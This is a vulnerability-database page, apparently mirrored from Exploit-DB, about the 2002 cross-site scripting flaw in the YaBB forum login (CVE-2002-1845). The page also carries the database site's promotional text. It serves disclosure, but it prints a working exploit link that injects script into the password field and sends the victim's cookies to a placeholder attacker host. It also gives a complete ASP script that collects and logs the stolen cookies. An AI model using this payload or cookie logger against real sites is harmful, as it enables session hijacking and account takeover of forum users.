Lucene search
+L

YaBB 1.40/1.41 - Login Cross-Site Scripting

🗓️ 18 Oct 2002 00:00:00Reported by Nir AdarType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 55 Views

Cross-site scripting in YaBB forum login allows remote attackers to execute malicious scripts.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2002-1845
28 Jun 200504:00
cve
cvelist
Cvelist
CVE-2002-1845
28 Jun 200504:00
cvelist
euvd
EUVD
EUVD-2002-1824
7 Oct 202500:30
euvd
nvd
NVD
CVE-2002-1845
31 Dec 200205:00
nvd
redhatcve
RedhatCVE
CVE-2002-1845
21 May 202520:25
redhatcve
source: https://www.securityfocus.com/bid/6004/info

A cross-site scripting vulnerability has been reported in the YaBB (Yet Another Bulletin Board) forum login script. HTML tags or script code are not sanitized from the error output of erroneous login attempts.

As a result, it is possible for a remote attacker to create a malicious link to the login page of a site hosting the web forum. The malicious link may contain arbitrary HTML and script code in the password field. Visiting the link will cause attacker-supplied code to be executed in the web client of the user.

It has been demonstrated that this vulnerability may be exploited to steal cookie-based authentication credentials. Furthermore, once an attacker has hijacked a user's session with the credentials it is possible to change that user's password without needing to further authenticate.

http://example.com/forums/index.php?board=;action=login2&user=USERNAME&cookielength=120&passwrd=PASSWORD<script>window.location.href(%22http://www.attackersite.example.com/hack.asp?%22%2Bdocument.cookie)</script>

An ASP script was also provided which will receive stolen cookie-based authentication credentials.

------------------------------- hack.asp ------------------------------------ <% Option Explicit Const ForWriting = 2 Const ForAppending = 8 Const Create = True Dim MyFile Dim FSO ' FileSystemObject Dim TSO ' TextStreamObject Dim Str Str = Request.ServerVariables("QUERY_STRING") MyFile = Server.MapPath("./db/log.txt") Set FSO = Server.CreateObject("Scripting.FileSystemObject") Set TSO = FSO.OpenTextFile(MyFile, ForAppending, Create) if (Str <> "") then TSO.WriteLine Str TSO.close Set TSO = Nothing Set FSO = Nothing %> You have just been hacked. ----------------------------------- EOF -----------------------------------

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Oct 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.3
EPSS0.03948
55